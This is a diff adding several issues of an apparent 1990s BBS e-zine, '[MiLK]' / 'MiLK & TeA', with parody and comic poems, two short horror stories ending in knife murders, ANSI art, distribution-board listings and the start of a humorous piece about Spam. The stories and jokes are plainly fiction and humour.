+ +A little rum in your coffee +A little whiskey in your tea +A little alcohol in the cars windshield washer fluid +That should keep everyone wiped. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"The Hungry Men" (A Parody of _The Hollow Men_ By TS Eliot) By James Hetfield + + I + +We are the hungry men +We are the stuffed men +Sitting together +Plates full with pasta. Alas! +Our dried napkins, when +we chew together +Are quiet and meaningless +As cream in dark coffee +Or crying over spilled milk +In our dry bakery + +Shape without form, shade without color, +fallen bread, cakes without icing: +Those who have crossed +With fathomed eyes, to the bakery's other Kingdom +Remember us - if at all - not as lost +Violent bakers, but only +As the hungry men +The stuffed men. + + II + +Donuts I dare not eat in dreams +In Candyland's dream kingdom +These do not appear: +There, the bread is +baked on a broken bread rack +There, is a gumdrop swinging +And sugar is +In the pastry's filling +More scrumptious and more sweet +Than an apple pie. + +Let me be no nearer +In Candyland's dream kingdom +Let me also eat +such deliberate desserts +Ice Cream, Chocolate, Crossed Popsicles +In a store +Behaving as the bakery behaves +No sweeter- + +Not that final meeting +In the pastry kingdom + + III + +This is the Bakery Land +This is Candy Land +Here the gingerbread images +Are raised, here they reveive +The reeces pieces of a worker's hand +Under the smell of an apple pie. + +Is it like this +In pastry's other kingdom +Eating alone +At the hour when we are +munching with hunger pangs +Lips that would kiss +Form prayers to broken twinkies. + + IV + +The eggs are not here +There are no eggs here +In this valley of dying poultry +IN this hungry valley +This half-eaten omlet of our lost chickens. +In this last of eating places +We gorge together +And avoid speech +Gathered on this plate of the china set + +Restless, unless +The forks reappear +As the perpetual pastry +Multifoliate frosting rose +Of sugar's twilight kingdom +The hope only +of empty calories. + +Here we go round the bakers square +Bakers square bakers square +Here we go round the bakers square +At seven o'clock in the morning. + +Between the HoHos +And the cupcakes +Between the sno balls +And the zingers +Falls the twinkies + For thine is the King Pastry + +Between the cookies +And the cakes +All the sugars with sweet surprize; +All the things I like to bake +Falls the twinkies + Life is very sweet + +Between the apple pie +And the pumpkin pie +Between the cherry pie +And the lemon meringue pie +Between the key lime pie +And the strawberry rhubarb pie +Falls the twinkies + For thine is the King Pastry + +For Thine is +Life is +For Thine is Baklava + +This is the way the breakfast ends +This is the way the breakfast ends +This is the way the breakfast ends +Not with a bang but a clogged artery. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"More and More Winter Inspirations" by Kojak + +A car is stuck in the deep snow. + +Together we push and rock it out +Suddenly, it catches, rushes forward, free +Together we have done it +Together we fall face forward in the slush + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"Even More Summer Inspiration" by Kojak + +You relax on your front porch watching cars go by +After four days a car pulls into your driveway +It's your boss wondering why you're not at work. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"Enough Winter Inspiration" by Kojak + +My car is safely nestled in a ditch +I stand behind it, and warm my face in the exhaust +It feels good, but it makes lunch taste funny. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +And... Finally... "Poetry.." By Optical Illusion + +Poetry.. +I think it sux +its a buncha people +trying to say "life blowz, life's a fuck" +i hate it +i hate how they whine +i hate how people complain in poetry +i hate their problems, they're not mine +so, what the fuck +am i doing here? +shit, i'm doing it again.. +i'm writing this down.. +to make all you suckers +sit down and frown.. +well i wont do it +i wont be the same.. +oh shit, did i title this? +where the fuck is my name.. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Thank you for reading this. If you are interested in submitting +your OWN poetry, or prose, lit, etc... please contact James Hetfield ASAP. +Thank you again for all that submitted. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #010 Author: - ³ + ³ Size: 10645 Bytes Title: "Poetry Issue #1" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk-tea.011 b/textfiles.com/magazines/MILK/milk-tea.011 new file mode 100644 index 00000000..8179c95a --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-tea.011 @@ -0,0 +1,164 @@ + + + ì ø ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ ø ì ø + ø ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ÚËÍËÍË¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿ ì + ø ì ³ ³ ³°³°³°ÀÄ´°Ú¿À¿ and º ÃÎÍÍ ÃÎÍÍÍδ ø ì + ì ³°³ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ Ê ÀÊÍÍÍÊÙ ÀÊ ÊÙ + ø ÀÄÙ ø + ô ô + ÍÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÍ + Issue #011 - "The Wastebasket" - by Groovy Mann + ÍÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÍ + õ õ + + I had been going over the Spencer books when I glanced down at the +wastebasket beside my desk. At its bottom, on top of the crumpled wastepaper, +lay a head, eyes half-open, staring up at me. + I forced my eyes back to my desk. + As surreptitiously as I could, I scanned the office. It was a large, +chiefly unpartitioned room, containing some twenty desks. Everyone seemed +busy enough. Nobody appeared to be watching me. + I added a column of figures slowly. + Were all of them in on it? Were they all waiting for my reaction--or +just Lacy? + Even though I had not finished adding the column, I turned the page, +giving me the opportunity to raise my eyes again. + Lacy sat at his desk, apparently going over contracts of some sort--or +pretending to? + What did he expect of me? That I would scream and faint when I saw the +head in my wastebasket? + Yes, probably; it had been that way last week when I opened my desk +drawer and had seen the severed arm. + The arm had been wax, of course; a clever wax model of a severed arm. + Lacy had come to the firm some three months ago and that had been the +beginning of an epidemic of "practical" jokes--the buzzer in the palm, the +squirting flower, the exploding cigar. + It was several weeks before he turned to me as one of his victims. +Perhaps he overlooked me at first because I was generally characterized as +colorless. I do my work quietly and leave at the end of the day. + I am in my early fifties and have been employed by Big Black Tools, +Records Division, for some thirty years, never missing a day except to attend +my mother's funeral. Sigh.... + I carefully studied the wastebasket again. Yes, certainly a wax head; +frankly, not very realistic at all--no color in the cheeks. Still, perhaps +that was the way it was supposed to look--drained of blood. + The head appeared strangely familiar but it took me a few more moments to +recognize it. Of course; it was supposed to represent the head of Bronson, +the janitor. Not a very good likeness, though; the face was too thin, the +hair too coarse. + Now, just what should I do about this? Ignore the head all day? Throw +my wastepaper on top of it and pretend that I had simply never noticed it at +all? + I found myself smiling as I imagined Bronson emptying the office +wastebaskets at the end of the day and seeing his own head tumbling out of one +of them. + Or should I now just calmly get to my feet and empty the wastebasket on +Lacy's desk, saying something like "I believe this head belongs to you?" + Yes, that would be most satisfactory. Unfortunately, I couldn't do it. +It was a bit too exhibitionistic for my nature. + My eyes went to the head again. Yes, it was quite artificial. Even +those drops of blood on the wastepaper were obvious fakes--brown, instead of +red. + Did genuine blood turn brown after exposure to the air? + My hands were a bit damp. + Of course it was ridiculous, utterly ridiculous, but suppose that were a +real head in the wastebasket? Wouldn't a human head be somewhat drained of +blood and probably appear waxen? + Yet it was absolutely insane to think that anyone would actually put +a human head into my wastebasket. How could Lacy possibly have managed it? +He couldn't just walk across a crowded office carrying a dripping head. + Suppose he had let it drain first? Suppose he had put it into a paper +bag or some other container? Suppose he had deposited the head in my +wastebasket before eight o'clock this morning when no one was about in the +office? + If this were, indeed, a human head, then it was no longer just a +practical joke. This was murder! + I wiped my forehead with a handkerchief. + Why would anyone want to murder the janitor? Why go through the ritual +of severing his head and placing it in my wastebasket? + The answer seemed painfully obvious. + If Bronson's head were found in my wastebasket, everyone--certainly the +police--would immediately jump to the conclusion that I had killed Bronson. +My fingerprints would surely be on the very crumpled paper on which the head +rested. + What possible motive could I have for such a crime, though? I did not +even remember talking to Bronson in my life. Perhaps I had nodded to him in +passing, but that was all. + I became aware of the office boy routinely going from desk to desk +picking up the early morning outgoing mail. He would be here in a few +moments. + I almost panicked, but then I saw my briefcase leaning against my desk. +Quickly I put it on top of the wastebasket. + The office boy came whistling to my desk, removed the three letters in my +outbox, and moved on. + I took a deep breath. + This was all insane. The head had to be wax. All I had to do was just +reach into the wastebasket and touch... + But suppose it wasn't wax? Suppose it was really the janitor's head? + I went to the water cooler and swallowed two aspirin. + How could the police possibly believe that I could murder Bronson? I +certainly had no motive--but did a crime like this need a motive? + It was one thing to kill Bronson, but quite another to cut off his head +and deposit it in a wastebasket. It was the work of a madman and madmen do +not need motives. + I grimly imagined the speculation of the state psychiatrists and +psychologists. The very steadiness and order that were my strength and +stability would now be regarded as suppressions. + I led a quiet life. I had no hobbies, no close friends. I had never +married and I lived alone with one roommate, a bachelor like myself. + I cut the grass regularly. I rose at the same time every morning and +went to bed at the same time every evening. I did not drink, except for the +occasional wine cooler. I did not smoke marijuana or cigarettes. I had never +been absent from work a single day, except for that funeral. + Would they make something out of that, too? + Whether the head was wax or not, I would have to get rid of it +immediately--but how? Should I simply pick up the wastebasket and walk out +of here? + No. If it were a real head, would the murderer allow me to dispose of it +so easily? After all, he had gone through the trouble of planting it in my +wastebasket. + Would he "accidentally" jostle me and knock the basket from my hands as I +passed, causing the head to tumble to the floor over and over? + I would need a box. That was it. When I was positive that no one was +looking, I would quickly empty my wastebasket into the box. I would walk out +of the office with the box under my arm, apparently taking it to the mailroom +for wrapping, but I would drop it down the chute to the incinerator instead. + I let myself into the corridor and followed it to the door at the far +end. I opened it and stepped inside. The storeroom seemed shaded and deathly +quiet. Evidently no one was here at the moment. + I moved toward a table of apparently empty boxes at the farthest end of +the room. I stopped. I saw the black shoes, the dark gray uniform coveralls, +the... + The body had no head--and beside it lay a large bloody knife. + I heard footsteps in the corridor and saw the silhouette against the +opaque glass. The knob turned and the door opened. It was Reznor, the office +manager. He closed the door behind him. + At my desk, I frowned. What had I been doing last? These damn headaches +played havoc with my memory. + Miss Ruiz came to me with some papers. + She glanced down into my wastebasket and saw the two heads, side by +side--the head of Bronson and the head of Reznor. + Her eyes widened. + I sighed. Why must they always try to scream? + I reached into the bottom drawer of my desk for the knife and used it for +the third time that morning. + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #011 Author: Groovy Man ³ + ³ Size: 10325 Bytes Title: "The Wastebasket" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk-tea.012 b/textfiles.com/magazines/MILK/milk-tea.012 new file mode 100644 index 00000000..689d7d8a --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-tea.012 @@ -0,0 +1,101 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: +³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh + ° ß± +File #012: Stalkings (By James Hetfield) ° +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Although most people might not understand it, nor + recognise it, but a walk down an old familiar path can really + change the rest of your life as you know it. + Now that my friend drives, I seldomly walk to his + house in the middle of the night. This night, however, he + wasn't really in the mood to get up and give me a ride there. + I had to roam to his house, which was about fifteen minutes + away. + It was a cold and brisk night, but nothing like how + cold it can get during the Chicago winters. There was no snow + to be seen on the ground, but you could still see your + breath. The streetlamps and oncoming cars lit up the night. + As I walked down small streets and larger roads, I didn't feel + too different. It wasn't until I got to my old junior high + school that something strange happened. + I was noticing a rustling behind me, and I looked + back, but no one seemed to be there. At first, this didn't + concern me much, but when I thought about how little this path + is traveled at night, it began to bother me. I looked back + again, yet still no one could be found. I looked forward and + tried to convince myself that I wasn't worrying about someone + perhaps following me. I kept walking down the small path that + walks right down the center of the block into the fields + behind the junior high school. Every day for four years + straight, I took this same path to Golf Junior High School. + Every day, it all felt the same, I'd go to school, get made + fun of a lot, get yelled at by teachers saying I don't fulfill + my 'potential', and go home an unhappy lot. But now I found + myself walking towards this old school at night, in the cold, + something I hadn't done for years. And I was being followed. + I turned back again, and the sound seemed to be + closer. I kept walking foward, a little faster than before. + I saw the opening into the big soccer fields of Gold School, + and the night was totally lit up by the lights of the factory + adjacent to the school. Even in the middle of the night, the + factory was as busy as little bees, trucks scooting around and + making interesting noises, and smoke billowing out of the + large chimneys. As I finally got to the mouth of the path, I + saw the school with all its lights on, like it always is at + night. + As I turned and followed the path that led right to + the school, I began to walk even faster, hoping when he came + out of the path by the trees I'd be far enough away in a wide + open area that I could see him clearly and safely. But I + wasn't quick enough, for the sound was still gaining ground on + me. It would be soon when he would catch up to me. + I had to think fast. I'd feel really silly If I broke + off running right now, because chances are this was just my + imagination playing tricks on me, that this was just a deer + taking a brisk stroll in peaceful Morton Grove. I decided + once I got to the street in front of the school, I would + either cross the street as fast as my legs could take me, or, + if the traffic did not permit, I would stand my ground and + confront the follower. + My luck was not with me. When I got to the street + light, it was a newly turned green. And the cars were rushing + by. I had very little choice but wait and see what happens. + I took a deep breath as I turned around to view the oncoming + stranger. + His running shoes made a slow and rather loud seeming + shuffle on the sidewalk in front of me. His ruffled jeans and + his small, black jacket made a light friction noise as he + approached. His rather long, brown hair was covering most of + his face, but of what I could see, his blue, no, green eyes + were staring directly into mine. He had a rather large smirk + on his face. + The stranger in front of me... was me. I hardly had + time to react before he pulled the blade from his pocket and + ripped open a tear into my soul that still has not healed. As + I laid there bleeding, all I thought about was sleeping, is + that I wanted to go to sleep, but he wouldn't even let me to + that. + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #012 Author: James Hetfield ³ + ³ Size: 6585 Bytes Title: "Stalkings" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk1.ans b/textfiles.com/magazines/MILK/milk1.ans new file mode 100644 index 00000000..bc296027 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk1.ans @@ -0,0 +1,13 @@ +K] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK]LK] [MiLK] [MiLK] [MiLK] [ +MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK]iLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [ +MiLK] [MiLK] [MiLKMiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiL[MiLK] [MiLKK] [ +MiLK] [Mi [MiLK] [MiL The [MiLK] List 4/94LK] [MiLK] [M] [MiLK] [MiiLK] [MiLK] [K] [MiLK] [M Members: +MiLK] [MiLK]LK] [MiLK] [James Hetfield EpicBlack Justice[MiLK] [MiLK]iLK] [MiLK]Nyarlat +hotep Nature Boy Igor Shimsky[MiLK] [MiLKMiLK] [MiLK]Yohan BawkIceMECH] [MiLK] [MiL[MiLK] [MiLKK +] [MiLK] [Mi [MiLK] [MiL DiSt Sites:LK] [MiLK] [M] [MiLK] [MiBarney's Pleasure Palace: -7 +o8- 965.3o98 iLK] [MiLK] [K] [MiLK] [MThe Acropolis: -7o8- 557.2826 MiLK] [MiLK]LK] [MiLK] [The Lunati +c Phringe: -7o8- 232.o565 [MiLK] [MiLK]iLK] [MiLK][MiLK] [MiLKMiLK] [MiLK]] [MiLK] [MiL[MiLK] [MiLK] [MiLK] + [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [Mi [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK +] [MiLK] [MiLK] [MiLK] [M] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [K] [MiLK +] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK]LK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [ +MiLK] [MiLK] [MiLK] [MiLK] [MiLK] [MiLK] diff --git a/textfiles.com/magazines/MILK/milkbig1.txt b/textfiles.com/magazines/MILK/milkbig1.txt new file mode 100644 index 00000000..288c97c7 --- /dev/null +++ b/textfiles.com/magazines/MILK/milkbig1.txt @@ -0,0 +1,836 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± BIG Issue 1 + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + This is the first "Volume" Edition of [MiLK]. +Basically I felt that I had too many Submissions lying around +to put them all in seperate files, so I just made this one big +spew. but Enough with the Intro. + +"Spam" -Yohan Bawk +"The REAL Madonna" -Whoops +"Literary Terms" -Yohan Bawk +"Poetry, or something.." -Psycotic Ambition +"Anarchy Utility" -Yohan Bawk +"Indiana Drivers SUCK!" -IceMECH +"KRaD uTiLiTY" -Yohan Bawk +"Fun in the Hole" -Nature Boy +"42 Fun things / Hospital" -Epic +"How To / Dictator" -James Hetfield + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ °°±±±±±±±±±±±±±±±±±±±±°° ³ + ³ ±±±±²²²²²²²²²²²²²²²²±±±± ³ + ³ ±±²²²²ÛÛÛÛÛÛÛÛÛÛÛÛ²²±±°° ÚÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ³ + ³ ±±²²ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°° ³ ÚÜÜ¿ ³Û ³ ÚÜÜ¿ ³Û ³ ÚÜ¿ ÚÜ¿ ³Û ÚÄ¿ ³ + ³ ±±²²ÛÛÛÛ²²²²²±±±±°°° ³ ÀßÄÙ ³Û ³ ÀßÄÙ ³Û ³ ³Û³ ³Û³ ³Û ÀÄÙÛ ³ + ³ °°±±ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ±±°° ³ ÚÄÄÄÄÙÛ ³ ÚÜÄ¿ ³Û ³ ³Û³ ³Û³ ³Û ßßß ³ + ³ °°±±ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ±±°° ³ ³Ûßßßßß ³ ³Û ³ ³Û ³ ³Û³ ³Û³ ³Û ÚÄ¿ ³ + ³ °°°±±±±²²²²²ÛÛÛÛ²²±± ÀÄÙÛ ÀÄÙÛ ÀÄÙÛ ÀÄÙÛÀÄÙÛÀÄÙÛ ÀÄÙÛ ³ + ³ °°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²±± ßßß ßßß ßßß ßßß ßßß ßßß ßßß ³ + ³ °°±±²²ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²±± ³ + ³ ±±±±²²²²²²²²²²²²²²²²±±±± FùUùCùKùIùNùG WùOùNùDùEùRùFùUùL SùHùIùT ³ + ³ °°±±±±±±±±±±±±±±±±±±±±°° ³ + ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ + ³ Biff Thelmus Bonglemeister III Didn't Even Think About Writing This ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Today we're going to tell you about Spam. In case you didn't read the + nifty title up there, Spam is fucking wonderful shit. We'll tell you + more about its uses later, for now, what is it? + + °°°°°°°°°°°°°°°°°°°°°°°°°°° + °°°±°±±±±±±±±°±±±±±±±±±±±±±°° + °°±±±±²²²²²²±±²²²²²²²²²²²±°±° + °±°±²²²²ÛÛÛ²²²²ÛÛÛÛÛÛÛ²²²²±±° + °±±±²²²ÛÛÛÛÛÛ²ÛÛÛÛÛÛÛÛÛ²±²±±° + °±±²±²²Û²ÛÛÛÛÛÛÛÛÛÛÛÛ²Û²²±±±° + °±±²²²Û²ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²±°±°° + °±±²²²ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²Û²²±±°° + + [ Figure A. Spam ] + + Spam comes in great big cans. As I write this, there is a huge ass can + of Spam sitting in front of me, just inches from my face. Spam was + created and is currently manufactured by the Hormel company, you know, + that meat company that makes those disgusting little canned sausages + that taste like rotten hot dogs. On the cover of the can of Spam, + there is a picture of a roasted ham, glazed on top, with little cloves + on the scored top, a sprig of parsley decorating the picturesque + repast. However, do not be fooled, Spam is not ham. What is Spam? + Well, the ingredients are pork, ham, salt, water, sugar, and sodium + nitrate. Ignore the sodium nitrate, it's just preservative. + + Now then. Spam comes in big 12oz. cans with a little pull-ring top. + Pull the ring and the five-year-old air from within the can expels + itself with a satisfied *splut*. Now wrench the cover off, and shake + the can until the huge gelatinous mass comes quivering out onto a + plate. Your Spam is "fully cooked, ready to eat--cold or hot," but + frankly, ewwww! When Spam is cold the oily stuff in the can oozes all + over it and little globs of gelatinous fat adorn the pink blob. Yeech. + Anyway, heat your Spam up and eat it. + + There are several ways to heat Spam up, but using a frying pan to fry + the junk is usually the best way. Second best is using an oven. By no + means should you ever boil it, that would be disgusting, or steam it, + that would be worse. I have never microwaved Spam. If you microwave + Spam, there is always the possibility that the lamprey larvae living in + the Spam will be genetically altered by the microwave radiation and be + prematurely activated, before your stomach's gastric juices can kill + them. That would be bad. Anyway, heat your Spam up, but BY NO MEANS + SHOULD YOU EVER SALT IT. In fact, if you have bland food, just put a + sliver of Spam in it, and the salt will diffuse into the bland food by + osmosis, down the concentration gradient. However, when you eat Spam, + you must eat it plain, to savor its intense flavor. Using bread or + some other form of buffer to dilute the saltiness is cheating yourself + of the true concept of Spam. Beware, it is very salty. Do not be + alarmed if you begin to drool halfway into a meal 